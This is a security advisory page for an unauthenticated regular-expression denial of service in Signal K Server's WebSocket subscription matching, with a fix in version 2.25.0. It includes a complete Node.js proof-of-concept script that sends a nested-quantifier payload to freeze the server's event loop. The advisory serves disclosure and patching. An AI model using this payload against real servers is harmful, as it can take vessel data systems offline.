VDB
KO
HIGH 7.5

GHSA-7gcj-phff-2884

Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths

Details

## Summary The SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.

## Description The vulnerability stems from flawed string-to-regex conversion in `signalk-server/src/subscriptionmanager.ts`. The `contextMatcher()` and `pathMatcher()` functions convert wildcard strings (e.g., `*`) into regular expressions to match incoming data against client subscriptions.

While the code attempts to escape `.` and `*` characters, it fails to escape other dangerous regular expression metacharacters—such as `+`, `(`, `)`, `?`, `[`, and `]`. Because of this, an attacker can submit a crafted `context` that contains nested quantifiers (e.g., `([a-z0-9:-]+)+!`). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like `vessels.urn:mrn:signalk:uuid:d384dc156010`), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.

## Affected Code Blocks & Files **File:** `signalk-server/src/subscriptionmanager.ts`

**Affected lines for Context subscriptions (282-300):** ```typescript function contextMatcher(...) { if (subscribeCommand.context) { if (isString(subscribeCommand.context)) { const pattern = subscribeCommand.context .replace(/\./g, '\\.') .replace(/\*/g, '.*') const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: User input compiled into regex directly return (normalizedDeltaData: WithContext) => matcher.test(normalizedDeltaData.context) || ```

**Affected lines for Path subscriptions (276-280):** ```typescript function pathMatcher(path: string = '*') { const pattern = path.replace(/\./g, '\\.').replace(/\*/g, '.*') const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: Same issue here return (aPath: string) => matcher.test(aPath) } ```

## Proof of Concept (PoC) Steps

``` const WebSocket = require('ws'); const http = require('http');

const HOST = 'localhost'; const PORT = 3000; const WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`; // Use the API endpoint to measure real server processing lag (requires JSON serialization) const HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;

console.log(`[+] Target Server API: ${HTTP_URL}`); console.log(`[+] Target WebSocket: ${WS_URL}`);

let requestCount = 0;

// Polling function to check server responsiveness and compute delay function checkServerStatus() { const startTime = Date.now(); requestCount++; const reqId = requestCount; const req = http.get(HTTP_URL, (res) => { let size = 0; res.on('data', chunk => { size += chunk.length; }); res.on('end', () => { const latency = Date.now() - startTime; console.log(`[HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)`); }); });

req.on('error', (err) => { console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`); });

// Timeout if the event loop is blocked req.setTimeout(2000, () => { console.log(`[HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.`); req.destroy(); }); }

// Start polling every 1 second console.log('[+] Starting baseline HTTP polling...'); const pollInterval = setInterval(checkServerStatus, 1000);

// Wait a few seconds to establish a baseline, then launch the ReDoS setTimeout(() => { console.log(`\n[!] Initiating WebSocket connection to launch ReDoS attack...`); const ws = new WebSocket(WS_URL);

ws.on('open', () => { console.log('[+] WebSocket Connected! Sending catastrophic ReDoS payload...'); // This regex exploits the unescaped Regex metacharacters in context matcher. // It forms: `^vessels\.([a-z0-9:-]+)+!$` // When evaluated against `vessels.urn:mrn:signalk:uuid:xxx` (38+ characters), // the nested quantifier `([a-z0-9:-]+)+` will result in 2^38 evaluations // because it fails to find the '!' at the end. This reliably freezes V8. const pocPayload = { context: "vessels.([a-z0-9:-]+)+!", announceNewPaths: true, subscribe: [{ path: "*" }] };

ws.send(JSON.stringify(pocPayload)); console.log('[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\n'); });

ws.on('error', (err) => { console.error(`[-] WebSocket Error: ${err.message}`); });

}, 3500);

// Automatically shut down the test after 15 seconds setTimeout(() => { console.log(`\n[+] Test complete. Stopping pollers.`); clearInterval(pollInterval); process.exit(0); }, 15000); ``` <img width="1003" height="524" alt="Screenshot 2026-03-29 101918" src="https://github.com/user-attachments/assets/4b257c4c-f97a-4812-b812-ce2f235b6039" />

## Impact

This vulnerability achieves a complete **Denial of Service (DoS)** against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop.

<img width="999" height="153" alt="Screenshot 2026-03-29 101820" src="https://github.com/user-attachments/assets/54214d1c-252f-4533-ad02-14959ea2bed0" />

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / signalk-server
Introduced in: 0 Fixed in: 2.25.0
Fix npm install signalk-server@2.25.0

References